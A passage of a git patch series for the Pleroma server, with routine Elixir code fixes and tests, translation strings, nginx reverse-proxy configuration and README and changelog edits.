elixir-format msgid "Already voted" -msgstr "" +msgstr "已经进行了投票" #: lib/pleroma/web/oauth/oauth_controller.ex:359 #, elixir-format msgid "Bad request" -msgstr "" +msgstr "不正确的请求" #: lib/pleroma/web/activity_pub/activity_pub_controller.ex:426 #, elixir-format msgid "Can't delete object" -msgstr "" +msgstr "不能删除对象" #: lib/pleroma/web/controller_helper.ex:105 #: lib/pleroma/web/controller_helper.ex:111 #, elixir-format msgid "Can't display this activity" -msgstr "" +msgstr "不能显示该活动" #: lib/pleroma/web/mastodon_api/controllers/account_controller.ex:285 #, elixir-format msgid "Can't find user" -msgstr "" +msgstr "找不到用户" #: lib/pleroma/web/pleroma_api/controllers/account_controller.ex:61 #, elixir-format msgid "Can't get favorites" -msgstr "" +msgstr "不能获取收藏" #: lib/pleroma/web/activity_pub/activity_pub_controller.ex:438 #, elixir-format -- cgit v1.2.3 From f2f0a0260f00e316f62d42e766787b20cc92601a Mon Sep 17 00:00:00 2001 From: lain Date: Mon, 21 Sep 2020 16:08:38 +0200 Subject: ActivityPub: Don't block-filter your own posts We are filtering out replies to people you block, but that should not include your own posts. --- lib/pleroma/web/activity_pub/activity_pub.ex | 9 ++++++++- .../mastodon_api/controllers/timeline_controller_test.exs | 12 ++++++++++-- 2 files changed, 18 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index 06e8e1a7c..aacd58d03 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -841,7 +841,14 @@ defp restrict_blocked(query, %{blocking_user: %User{} = user} = opts) do from( [activity, object: o] in query, where: fragment("not (? = ANY(?))", activity.actor, ^blocked_ap_ids), - where: fragment("not (? && ?)", activity.recipients, ^blocked_ap_ids), + where: + fragment( + "((not (? && ?)) or ? = ?)", + activity.recipients, + ^blocked_ap_ids, + activity.actor, + ^user.ap_id + ), where: fragment( "recipients_contain_blocked_domains(?, ?) = false", diff --git a/test/web/mastodon_api/controllers/timeline_controller_test.exs b/test/web/mastodon_api/controllers/timeline_controller_test.exs index 517cabcff..c6e0268fd 100644 --- a/test/web/mastodon_api/controllers/timeline_controller_test.exs +++ b/test/web/mastodon_api/controllers/timeline_controller_test.exs @@ -114,8 +114,16 @@ test "doesn't return replies if follower is posting with blocked user" do {:ok, _reply_from_friend} = CommonAPI.post(friend, %{status: "status", in_reply_to_status_id: reply_from_blockee}) - res_conn = get(conn, "/api/v1/timelines/public") - [%{"id" => ^activity_id}] = json_response_and_validate_schema(res_conn, 200) + # Still shows replies from yourself + {:ok, %{id: reply_from_me}} = + CommonAPI.post(blocker, %{status: "status", in_reply_to_status_id: reply_from_blockee}) + + response = + get(conn, "/api/v1/timelines/public") + |> json_response_and_validate_schema(200) + + assert length(response) == 2 + [%{"id" => ^reply_from_me}, %{"id" => ^activity_id}] = response end test "doesn't return replies if follow is posting with users from blocked domain" do -- cgit v1.2.3 From 8afdbcdb1c012c37cde3a3d2bea147f95c5111b0 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 21 Sep 2020 10:13:41 -0500 Subject: Force HTTP for fedsockets --- lib/pleroma/web/fed_sockets/outgoing_handler.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/web/fed_sockets/outgoing_handler.ex b/lib/pleroma/web/fed_sockets/outgoing_handler.ex index 3ff4a85e3..e235a7c43 100644 --- a/lib/pleroma/web/fed_sockets/outgoing_handler.ex +++ b/lib/pleroma/web/fed_sockets/outgoing_handler.ex @@ -86,7 +86,7 @@ def initiate_connection(uri) do %{host: host, port: port, path: path} = URI.parse(ws_uri) - with {:ok, conn_pid} <- :gun.open(to_charlist(host), port), + with {:ok, conn_pid} <- :gun.open(to_charlist(host), port, %{protocols: [:http]}), {:ok, _} <- :gun.await_up(conn_pid), reference <- :gun.get(conn_pid, to_charlist(path), [ -- cgit v1.2.3 From 8b6ac45f3cb5a3c1ac16e766a6f503ee491bc310 Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 21 Sep 2020 13:28:02 -0500 Subject: Allow emails to be sent again, #2101 #2172 https://github.com/swoosh/swoosh/issues/478#issuecomment-642393707 --- lib/pleroma/emails/mailer.ex | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/lib/pleroma/emails/mailer.ex b/lib/pleroma/emails/mailer.ex index 8b1bdef75..5108c71c8 100644 --- a/lib/pleroma/emails/mailer.ex +++ b/lib/pleroma/emails/mailer.ex @@ -35,6 +35,11 @@ def perform(:deliver_async, email, config), do: deliver(email, config) def deliver(email, config \\ []) def deliver(email, config) do + # temporary hackney fix until hackney max_connections bug is fixed + # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 + email = + Swoosh.Email.put_private(email, :hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) + case enabled?() do true -> Swoosh.Mailer.deliver(email, parse_config(config)) false -> {:error, :deliveries_disabled} -- cgit v1.2.3 From 23d5d7cf593550669812527ab12501b2a2adc6eb Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 21 Sep 2020 13:56:40 -0500 Subject: Fix #2172 HTTP error on password reset --- lib/pleroma/web/mastodon_api/controllers/auth_controller.ex | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex b/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex index 9f09550e1..57c0be5fe 100644 --- a/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex @@ -5,6 +5,8 @@ defmodule Pleroma.Web.MastodonAPI.AuthController do use Pleroma.Web, :controller + import Pleroma.Web.ControllerHelper, only: [json_response: 3] + alias Pleroma.User alias Pleroma.Web.OAuth.App alias Pleroma.Web.OAuth.Authorization @@ -61,9 +63,7 @@ def password_reset(conn, params) do TwitterAPI.password_reset(nickname_or_email) - conn - |> put_status(:no_content) - |> json("") + json_response(conn, :no_content, "") end defp local_mastodon_root_path(conn) do -- cgit v1.2.3 From 0b728ccc4411677f1117f8e01d6f49aa4476c7ff Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 21 Sep 2020 15:05:46 -0500 Subject: Pass hackney tls config into email tests, #2101 --- test/user_test.exs | 7 ++++++- test/web/admin_api/controllers/admin_api_controller_test.exs | 7 ++++++- 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/test/user_test.exs b/test/user_test.exs index 301d8f05e..9cabb501c 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -509,7 +509,12 @@ test "it sends a confirm email" do cng = User.register_changeset(%User{}, @full_user_data) {:ok, registered_user} = User.register(cng) ObanHelpers.perform_all() - assert_email_sent(Pleroma.Emails.UserEmail.account_confirmation_email(registered_user)) + + Pleroma.Emails.UserEmail.account_confirmation_email(registered_user) + # temporary hackney fix until hackney max_connections bug is fixed + # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 + |> Swoosh.Email.put_private(:hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) + |> assert_email_sent() end test "it requires an email, name, nickname and password, bio is optional when account_activation_required is enabled" do diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs index dbf478edf..f1e9b8938 100644 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ b/test/web/admin_api/controllers/admin_api_controller_test.exs @@ -1927,7 +1927,12 @@ test "it resend emails for two users", %{conn: conn, admin: admin} do }" ObanHelpers.perform_all() - assert_email_sent(Pleroma.Emails.UserEmail.account_confirmation_email(first_user)) + + Pleroma.Emails.UserEmail.account_confirmation_email(first_user) + # temporary hackney fix until hackney max_connections bug is fixed + # https://git.pleroma.social/pleroma/pleroma/-/issues/2101 + |> Swoosh.Email.put_private(:hackney_options, ssl_options: [versions: [:"tlsv1.2"]]) + |> assert_email_sent() end end -- cgit v1.2.3 From 7b2bf381e9513450ac26826b11dfbb19ac75802f Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 21 Sep 2020 16:02:57 -0500 Subject: Chase the Autolinker rename from !2677 --- config/description.exs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/description.exs b/config/description.exs index 097e98633..ac3dfbb2b 100644 --- a/config/description.exs +++ b/config/description.exs @@ -2445,7 +2445,7 @@ %{ group: :pleroma, key: Pleroma.Formatter, - label: "Auto Linker", + label: "Linkify", type: :group, description: "Configuration for Pleroma's link formatter which parses mentions, hashtags, and URLs.", -- cgit v1.2.3 From bf181ca96850f3e5baaf8f3dcd6e11b926fcdeeb Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 21 Sep 2020 16:03:22 -0500 Subject: Fix MastoAPI.AuthControllerTest, json_response(:no_content) --> empty_json_response() --- .../web/mastodon_api/controllers/auth_controller_test.exs | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/test/web/mastodon_api/controllers/auth_controller_test.exs b/test/web/mastodon_api/controllers/auth_controller_test.exs index 4fa95fce1..bf2438fe2 100644 --- a/test/web/mastodon_api/controllers/auth_controller_test.exs +++ b/test/web/mastodon_api/controllers/auth_controller_test.exs @@ -61,7 +61,7 @@ test "redirects to the getting-started page when referer is not present", %{conn end test "it returns 204", %{conn: conn} do - assert json_response(conn, :no_content) + assert empty_json_response(conn) end test "it creates a PasswordResetToken record for user", %{user: user} do @@ -91,7 +91,7 @@ test "it returns 204", %{conn: conn} do assert conn |> post("/auth/password?nickname=#{user.nickname}") - |> json_response(:no_content) + |> empty_json_response() ObanHelpers.perform_all() token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id) @@ -112,7 +112,7 @@ test "it doesn't fail when a user has no email", %{conn: conn} do assert conn |> post("/auth/password?nickname=#{user.nickname}") - |> json_response(:no_content) + |> empty_json_response() end end @@ -125,24 +125,21 @@ test "it doesn't fail when a user has no email", %{conn: conn} do test "it returns 204 when user is not found", %{conn: conn, user: user} do conn = post(conn, "/auth/password?email=nonexisting_#{user.email}") - assert conn - |> json_response(:no_content) + assert empty_json_response(conn) end test "it returns 204 when user is not local", %{conn: conn, user: user} do {:ok, user} = Repo.update(Ecto.Changeset.change(user, local: false)) conn = post(conn, "/auth/password?email=#{user.email}") - assert conn - |> json_response(:no_content) + assert empty_json_response(conn) end test "it returns 204 when user is deactivated", %{conn: conn, user: user} do {:ok, user} = Repo.update(Ecto.Changeset.change(user, deactivated: true, local: true)) conn = post(conn, "/auth/password?email=#{user.email}") - assert conn - |> json_response(:no_content) + assert empty_json_response(conn) end end -- cgit v1.2.3 From 75f6e5e8b7e0408241a633daba7fde8b51dde8ca Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 21 Sep 2020 16:10:31 -0500 Subject: Add FedSockets config --- installation/pleroma.nginx | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/installation/pleroma.nginx b/installation/pleroma.nginx index d301ca615..a3b3394f1 100644 --- a/installation/pleroma.nginx +++ b/installation/pleroma.nginx @@ -63,6 +63,7 @@ server { # the nginx default is 1m, not enough for large media uploads client_max_body_size 16m; + ignore_invalid_headers off; location / { proxy_http_version 1.1; @@ -91,4 +92,17 @@ server { chunked_transfer_encoding on; proxy_pass http://127.0.0.1:4000; } + + location /api/fedsocket/v1 { + proxy_http_version 1.1; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header Host $host; + + # The Important Websocket Bits! + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "Upgrade"; + proxy_request_buffering off; + proxy_pass http://127.0.0.1:4000/api/fedsocket/v1; + } } -- cgit v1.2.3 From 2b553b8f8e7cf01d8530b905c48b97b815098cd9 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 21 Sep 2020 16:11:01 -0500 Subject: Remove duplicate setting --- installation/pleroma.nginx | 2 -- 1 file changed, 2 deletions(-) diff --git a/installation/pleroma.nginx b/installation/pleroma.nginx index a3b3394f1..ce74f46e1 100644 --- a/installation/pleroma.nginx +++ b/installation/pleroma.nginx @@ -75,8 +75,6 @@ server { # this is explicitly IPv4 since Pleroma.Web.Endpoint binds on IPv4 only # and `localhost.` resolves to [::0] on some systems: see issue #930 proxy_pass http://127.0.0.1:4000; - - client_max_body_size 16m; } location ~ ^/(media|proxy) { -- cgit v1.2.3 From ade7fede7134d0e05c91ef48d52e48e64fd6dd98 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 21 Sep 2020 16:13:45 -0500 Subject: Most proxy settings can be global --- installation/pleroma.nginx | 21 ++++++--------------- 1 file changed, 6 insertions(+), 15 deletions(-) diff --git a/installation/pleroma.nginx b/installation/pleroma.nginx index ce74f46e1..5517e3fc3 100644 --- a/installation/pleroma.nginx +++ b/installation/pleroma.nginx @@ -65,13 +65,13 @@ server { client_max_body_size 16m; ignore_invalid_headers off; - location / { - proxy_http_version 1.1; - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection "upgrade"; - proxy_set_header Host $http_host; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $http_host; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + location / { # this is explicitly IPv4 since Pleroma.Web.Endpoint binds on IPv4 only # and `localhost.` resolves to [::0] on some systems: see issue #930 proxy_pass http://127.0.0.1:4000; @@ -82,7 +82,6 @@ server { slice 1m; proxy_cache_key $host$uri$is_args$args$slice_range; proxy_set_header Range $slice_range; - proxy_http_version 1.1; proxy_cache_valid 200 206 301 304 1h; proxy_cache_lock on; proxy_ignore_client_abort on; @@ -92,14 +91,6 @@ server { } location /api/fedsocket/v1 { - proxy_http_version 1.1; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header Host $host; - - # The Important Websocket Bits! - proxy_set_header Upgrade $http_upgrade; - proxy_set_header Connection "Upgrade"; proxy_request_buffering off; proxy_pass http://127.0.0.1:4000/api/fedsocket/v1; } -- cgit v1.2.3 From 8906f30ba16bdd91ac51ab9d4568c19070c270d5 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 21 Sep 2020 16:19:08 -0500 Subject: Use an upstream for reverse proxy so future modifications are simplified --- installation/pleroma.nginx | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/installation/pleroma.nginx b/installation/pleroma.nginx index 5517e3fc3..d613befd2 100644 --- a/installation/pleroma.nginx +++ b/installation/pleroma.nginx @@ -9,6 +9,12 @@ proxy_cache_path /tmp/pleroma-media-cache levels=1:2 keys_zone=pleroma_media_cache:10m max_size=10g inactive=720m use_temp_path=off; +# this is explicitly IPv4 since Pleroma.Web.Endpoint binds on IPv4 only +# and `localhost.` resolves to [::0] on some systems: see issue #930 +upstream phoenix { + server 127.0.0.1:4000 max_fails=5 fail_timeout=60s; +} + server { server_name example.tld; @@ -72,9 +78,7 @@ server { proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; location / { - # this is explicitly IPv4 since Pleroma.Web.Endpoint binds on IPv4 only - # and `localhost.` resolves to [::0] on some systems: see issue #930 - proxy_pass http://127.0.0.1:4000; + proxy_pass http://phoenix; } location ~ ^/(media|proxy) { @@ -87,11 +91,11 @@ server { proxy_ignore_client_abort on; proxy_buffering on; chunked_transfer_encoding on; - proxy_pass http://127.0.0.1:4000; + proxy_pass http://phoenix; } location /api/fedsocket/v1 { proxy_request_buffering off; - proxy_pass http://127.0.0.1:4000/api/fedsocket/v1; + proxy_pass http://phoenix/api/fedsocket/v1; } } -- cgit v1.2.3 From e5927e92a641a799f9b4e89466374be3c76c4ef2 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 21 Sep 2020 17:08:49 -0500 Subject: Fix deprecation warning for welcome message --- lib/pleroma/config/deprecation_warnings.ex | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/config/deprecation_warnings.ex b/lib/pleroma/config/deprecation_warnings.ex index 98c4dc9c8..51ddb2889 100644 --- a/lib/pleroma/config/deprecation_warnings.ex +++ b/lib/pleroma/config/deprecation_warnings.ex @@ -83,9 +83,9 @@ def check_welcome_message_config do if use_old_config do Logger.error(""" !!!DEPRECATION WARNING!!! - Your config is using the old namespace for Welcome messages configuration. You need to change to the new namespace: - \n* `config :pleroma, :instance, welcome_user_nickname` is now `config :pleroma, :welcome, :direct_message, :sender_nickname` - \n* `config :pleroma, :instance, welcome_message` is now `config :pleroma, :welcome, :direct_message, :message` + Your config is using the old namespace for Welcome messages configuration. You need to convert to the new namespace. e.g., + \n* `config :pleroma, :instance, welcome_user_nickname` and `config :pleroma, :instance, welcome_message` are now equal to: + \n* `config :pleroma, :welcome, direct_message: [enabled: true, sender_nickname: "NICKNAME", message: "Your welcome message"]`" """) :error -- cgit v1.2.3 From ee3052a2d8fda37e27f31c8d824ce7ac174b993c Mon Sep 17 00:00:00 2001 From: lain Date: Tue, 22 Sep 2020 14:20:19 +0200 Subject: ActivityPub: Return Announces when filtering by `following`. --- lib/pleroma/web/activity_pub/activity_pub.ex | 12 ++++- test/web/activity_pub/activity_pub_test.exs | 80 ++++++++++++++++++++++++++++ 2 files changed, 91 insertions(+), 1 deletion(-) diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index aacd58d03..eb44cffec 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -790,7 +790,17 @@ defp restrict_replies(query, %{ [activity, object] in query, where: fragment( - "?->>'inReplyTo' is null OR ? && array_remove(?, ?) OR ? = ?", + """ + ?->>'type' != 'Create' -- This isn't a Create + OR ?->>'inReplyTo' is null -- this isn't a reply + OR ? && array_remove(?, ?) -- The recipient is us or one of our friends, + -- unless they are the author (because authors + -- are also part of the recipients). This leads + -- to a bug that self-replies by friends won't + -- show up. + OR ? = ? -- The actor is us + """, + activity.data, object.data, ^[user.ap_id | User.get_cached_user_friends_ap_ids(user)], activity.recipients, diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index 7bdad3810..804305a13 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -2177,4 +2177,84 @@ test "does nothing with a clashing nickname and the same ap id" do assert user.nickname == orig_user.nickname end end + + describe "reply filtering" do + test "`following` still contains announcements by friends" do + user = insert(:user) + followed = insert(:user) + not_followed = insert(:user) + + User.follow(user, followed) + + {:ok, followed_post} = CommonAPI.post(followed, %{status: "Hello"}) + + {:ok, not_followed_to_followed} = + CommonAPI.post(not_followed, %{ + status: "Also hello", + in_reply_to_status_id: followed_post.id + }) + + {:ok, retoot} = CommonAPI.repeat(not_followed_to_followed.id, followed) + + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_filtering_user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:announce_filtering_user, user) + |> Map.put(:user, user) + + activities = + [user.ap_id | User.following(user)] + |> ActivityPub.fetch_activities(params) + + followed_post_id = followed_post.id + retoot_id = retoot.id + + assert [%{id: ^followed_post_id}, %{id: ^retoot_id}] = activities + + assert length(activities) == 2 + end + + # This test is skipped because, while this is the desired behavior, + # there seems to be no good way to achieve it with the method that + # we currently use for detecting to who a reply is directed. + # This is a TODO and should be fixed by a later rewrite of the code + # in question. + @tag skip: true + test "`following` still contains self-replies by friends" do + user = insert(:user) + followed = insert(:user) + not_followed = insert(:user) + + User.follow(user, followed) + + {:ok, followed_post} = CommonAPI.post(followed, %{status: "Hello"}) + {:ok, not_followed_post} = CommonAPI.post(not_followed, %{status: "Also hello"}) + + {:ok, _followed_to_not_followed} = + CommonAPI.post(followed, %{status: "sup", in_reply_to_status_id: not_followed_post.id}) + + {:ok, _followed_self_reply} = + CommonAPI.post(followed, %{status: "Also cofe", in_reply_to_status_id: followed_post.id}) + + params = + %{} + |> Map.put(:type, ["Create", "Announce"]) + |> Map.put(:blocking_user, user) + |> Map.put(:muting_user, user) + |> Map.put(:reply_filtering_user, user) + |> Map.put(:reply_visibility, "following") + |> Map.put(:announce_filtering_user, user) + |> Map.put(:user, user) + + activities = + [user.ap_id | User.following(user)] + |> ActivityPub.fetch_activities(params) + + assert length(activities) == 2 + end + end end -- cgit v1.2.3 From 3174804f3cc2b2c4027331ed2f61d53564692b21 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 22 Sep 2020 07:26:31 -0500 Subject: Add FreeBSD and alpha sort --- README.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 6ca3118fb..7a05b9e48 100644 --- a/README.md +++ b/README.md @@ -18,15 +18,16 @@ If you are running Linux (glibc or musl) on x86/arm, the recommended way to inst ### From Source If your platform is not supported, or you just want to be able to edit the source code easily, you may install Pleroma from source. -- [Debian-based](https://docs-develop.pleroma.social/backend/installation/debian_based_en/) -- [Debian-based (jp)](https://docs-develop.pleroma.social/backend/installation/debian_based_jp/) - [Alpine Linux](https://docs-develop.pleroma.social/backend/installation/alpine_linux_en/) - [Arch Linux](https://docs-develop.pleroma.social/backend/installation/arch_linux_en/) +- [CentOS 7](https://docs-develop.pleroma.social/backend/installation/centos7_en/) +- [Debian-based](https://docs-develop.pleroma.social/backend/installation/debian_based_en/) +- [Debian-based (jp)](https://docs-develop.pleroma.social/backend/installation/debian_based_jp/) +- [FreeBSD](https://docs-develop.pleroma.social/backend/installation/freebsd_en/) - [Gentoo Linux](https://docs-develop.pleroma.social/backend/installation/gentoo_en/) - [NetBSD](https://docs-develop.pleroma.social/backend/installation/netbsd_en/) - [OpenBSD](https://docs-develop.pleroma.social/backend/installation/openbsd_en/) - [OpenBSD (fi)](https://docs-develop.pleroma.social/backend/installation/openbsd_fi/) -- [CentOS 7](https://docs-develop.pleroma.social/backend/installation/centos7_en/) ### OS/Distro packages Currently Pleroma is not packaged by any OS/Distros, but if you want to package it for one, we can guide you through the process on our [community channels](#community-channels). If you want to change default options in your Pleroma package, please **discuss it with us first**. -- cgit v1.2.3 From 0e0ece251af9f85d80968df5b43fe49b85f35434 Mon Sep 17 00:00:00 2001 From: Egor Kislitsyn Date: Tue, 22 Sep 2020 16:55:40 +0400 Subject: Filter out internal users by default --- lib/pleroma/user/query.ex | 15 ++++++++++----- test/user/query_test.exs | 37 +++++++++++++++++++++++++++++++++++++ 2 files changed, 47 insertions(+), 5 deletions(-) create mode 100644 test/user/query_test.exs diff --git a/lib/pleroma/user/query.ex b/lib/pleroma/user/query.ex index d618432ff..193b90d9d 100644 --- a/lib/pleroma/user/query.ex +++ b/lib/pleroma/user/query.ex @@ -47,6 +47,7 @@ defmodule Pleroma.User.Query do is_moderator: boolean(), super_users: boolean(), invisible: boolean(), + internal: boolean(), followers: User.t(), friends: User.t(), recipients_from_activity: [String.t()], @@ -80,7 +81,9 @@ defp base_query do end defp prepare_query(query, criteria) do - Enum.reduce(criteria, query, &compose_query/2) + criteria + |> Map.put_new(:internal, false) + |> Enum.reduce(query, &compose_query/2) end defp compose_query({key, value}, query) @@ -129,14 +132,12 @@ defp compose_query({:external, _}, query), do: location_query(query, false) defp compose_query({:active, _}, query) do User.restrict_deactivated(query) - |> where([u], not is_nil(u.nickname)) |> where([u], u.approval_pending == false) end defp compose_query({:legacy_active, _}, query) do query |> where([u], fragment("not (?->'deactivated' @> 'true')", u.info)) - |> where([u], not is_nil(u.nickname)) end defp compose_query({:deactivated, false}, query) do @@ -145,7 +146,6 @@ defp compose_query({:deactivated, false}, query) do defp compose_query({:deactivated, true}, query) do where(query, [u], u.deactivated == ^true) - |> where([u], not is_nil(u.nickname)) end defp compose_query({:need_approval, _}, query) do @@ -199,10 +199,15 @@ defp compose_query({:limit, limit}, query) do limit(query, ^limit) end + defp compose_query({:internal, false}, query) do + query + |> where([u], not is_nil(u.nickname)) + |> where([u], not like(u.nickname, "internal.%")) + end + defp compose_query(_unsupported_param, query), do: query defp location_query(query, local) do where(query, [u], u.local == ^local) - |> where([u], not is_nil(u.nickname)) end end diff --git a/test/user/query_test.exs b/test/user/query_test.exs new file mode 100644 index 000000000..e2f5c7d81 --- /dev/null +++ b/test/user/query_test.exs @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.QueryTest do + use Pleroma.DataCase, async: true + + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.User.Query + alias Pleroma.Web.ActivityPub.InternalFetchActor + + import Pleroma.Factory + + describe "internal users" do + test "it filters out internal users by default" do + %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() + + assert [_user] = User |> Repo.all() + assert [] == %{} |> Query.build() |> Repo.all() + end + + test "it filters out users without nickname by default" do + insert(:user, %{nickname: nil}) + + assert [_user] = User |> Repo.all() + assert [] == %{} |> Query.build() |> Repo.all() + end + + test "it returns internal users when enabled" do + %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() + insert(:user, %{nickname: nil}) + + assert %{internal: true} |> Query.build() |> Repo.aggregate(:count) == 2 + end + end +end -- cgit v1.2.3 From df1eb5cf7ee6d718a28fca3d3715f11ab0e263cb Mon Sep 17 00:00:00 2001 From: lain Date: Tue, 22 Sep 2020 17:17:19 +0200 Subject: Changelog: Add info about chat pagination fix. --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index e61b1d144..e0982b83c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -28,6 +28,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Removed `:managed_config` option. In practice, it was accidentally removed with 2.0.0 release when frontends were switched to a new configuration mechanism, however it was not officially removed until now. +### Fixed +- Add documented-but-missing chat pagination. ## [2.1.2] - 2020-09-17 -- cgit v1.2.3 From 2fc3b46ee7e8ee8c22d4cf0039bbe9755a0e3beb Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 22 Sep 2020 11:13:36 -0500 Subject: Remove deprecation warning. We were supposed to remove backwards compat for this in 2.1. --- lib/pleroma/config/deprecation_warnings.ex | 26 -------------------------- 1 file changed, 26 deletions(-) diff --git a/lib/pleroma/config/deprecation_warnings.ex b/lib/pleroma/config/deprecation_warnings.ex index 51ddb2889..091d02366 100644 --- a/lib/pleroma/config/deprecation_warnings.ex +++ b/lib/pleroma/config/deprecation_warnings.ex @@ -33,34 +33,8 @@ def check_hellthread_threshold do end end - def mrf_user_allowlist do - config = Config.get(:mrf_user_allowlist) - - if config && Enum.any?(config, fn {k, _} -> is_atom(k) end) do - rewritten = - Enum.reduce(Config.get(:mrf_user_allowlist), Map.new(), fn {k, v}, acc -> - Map.put(acc, to_string(k), v) - end) - - Config.put(:mrf_user_allowlist, rewritten) - - Logger.error(""" - !!!DEPRECATION WARNING!!! - As of Pleroma 2.0.7, the `mrf_user_allowlist` setting changed of format. - Pleroma 2.1 will remove support for the old format. Please change your configuration to match this: - - config :pleroma, :mrf_user_allowlist, #{inspect(rewritten, pretty: true)} - """) - - :error - else - :ok - end - end - def warn do with :ok <- check_hellthread_threshold(), - :ok <- mrf_user_allowlist(), :ok <- check_old_mrf_config(), :ok <- check_media_proxy_whitelist_config(), :ok <- check_welcome_message_config(), -- cgit v1.2.3 From e2dcf039d24b1606c90cea75ef11c79b7677c209 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 22 Sep 2020 11:15:40 -0500 Subject: Fix gun_pool_options deprecation warning message --- lib/pleroma/config/deprecation_warnings.ex | 2 +- test/config/deprecation_warnings_test.exs | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/config/deprecation_warnings.ex b/lib/pleroma/config/deprecation_warnings.ex index 091d02366..4ba6eaa77 100644 --- a/lib/pleroma/config/deprecation_warnings.ex +++ b/lib/pleroma/config/deprecation_warnings.ex @@ -122,7 +122,7 @@ def check_gun_pool_options do if timeout = pool_config[:await_up_timeout] do Logger.warn(""" !!!DEPRECATION WARNING!!! - Your config is using old setting name `await_up_timeout` instead of `connect_timeout`. Setting should work for now, but you are advised to change format to scheme with port to prevent possible issues later. + Your config is using old setting `config :pleroma, :connections_pool, await_up_timeout`. Please change to `config :pleroma, :connections_pool, connect_timeout` to ensure compatibility with future releases. """) Config.put(:connections_pool, Keyword.put_new(pool_config, :connect_timeout, timeout)) diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index e22052404..7f0d2a298 100644 --- a/test/config/deprecation_warnings_test.exs +++ b/test/config/deprecation_warnings_test.exs @@ -74,7 +74,7 @@ test "await_up_timeout" do assert capture_log(fn -> DeprecationWarnings.check_gun_pool_options() end) =~ - "Your config is using old setting name `await_up_timeout` instead of `connect_timeout`" + "Your config is using old setting `config :pleroma, :connections_pool, await_up_timeout`." end test "pool timeout" do -- cgit v1.2.3 From 25bdf0d0d95bf748f10c43d569640794a8a0d4c7 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Tue, 22 Sep 2020 11:19:29 -0500 Subject: Add test for welcome message format --- test/config/deprecation_warnings_test.exs | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/test/config/deprecation_warnings_test.exs b/test/config/deprecation_warnings_test.exs index 